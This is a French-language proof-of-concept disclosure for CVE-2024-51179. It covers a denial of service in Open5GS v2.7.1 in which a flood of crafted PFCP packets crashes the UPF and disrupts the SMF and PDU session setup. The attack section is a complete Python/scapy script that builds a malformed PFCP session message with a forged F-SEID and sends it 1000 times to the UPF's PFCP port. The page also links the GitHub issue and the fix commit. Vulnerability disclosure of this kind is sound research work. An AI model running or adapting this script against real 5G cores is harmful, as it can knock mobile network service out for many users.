
Exploit de preuve de concept pour CVE-2024-51179 : l'inondation de paquets PFCP conçus entraîne un déni de service dans Open5GS UPF/SMF, perturbant l'établissement de sessions PDU du cœur 5G.
Description: Un problème dans Open5GS v.2.7.1 permet à un attaquant distant de provoquer un déni de service via les fonctions de virtualisation du réseau (NFV) telles que la fonction de plan utilisateur (UPF) et la fonction de gestion de session (SMF). Le processus d'établissement de session d'unité de données de paquet (PDU) est impacté par les plantages survenant au sein des NFV.
Un attaquant, après avoir obtenu l'adresse IP de la fonction de plan utilisateur (UPF), le port PFCP et le SEID (identifiant de point de terminaison de session), peut concevoir et inonder de paquets PFCP (protocole de contrôle de transfert de paquets) malveillants vers l'UPF. Les paramètres requis peuvent être interceptés à l'aide d'outils comme Wireshark si l'attaquant a accès au trafic du plan utilisateur.
Type de vulnérabilité: Déni de service
Impact: Lors de l'envoi du paquet malveillant, l'UPF devient erronée, affectant l'établissement de nouvelles sessions PDU. De plus, la SMF (fonction de gestion de session) est impactée en raison de l'inondation de paquets PFCP malveillants, perturbant les fonctions du cœur.
Conditions préalables: Le réseau central 5G a été configuré en utilisant Open5GS comme réseau central et UERANSIM comme outil d'émulation pour la gNB (NodeB de nouvelle génération) et l'UE (équipement utilisateur).
ÉTAPES POUR EFFECTUER L'ATTAQUE
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


La vulnérabilité, documentée sous Issue #3497 sur la page GitHub d'Open5GS (https://github.com/open5gs/open5gs/issues/3497), a été signalée au fournisseur d'Open5GS, qui a identifié la cause première comme un problème de désallocation mémoire entraînant des plantages système. Un correctif a depuis été appliqué, et le code a été mis à jour pour résoudre le problème. Vous pouvez consulter le code mis à jour ici.
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179 a été publié.
UNIVERSITÉ NUMÉRIQUE DU KERALA, CENTRE POUR LE DÉVELOPPEMENT DE LA TÉLÉMATIQUE (C-DOT)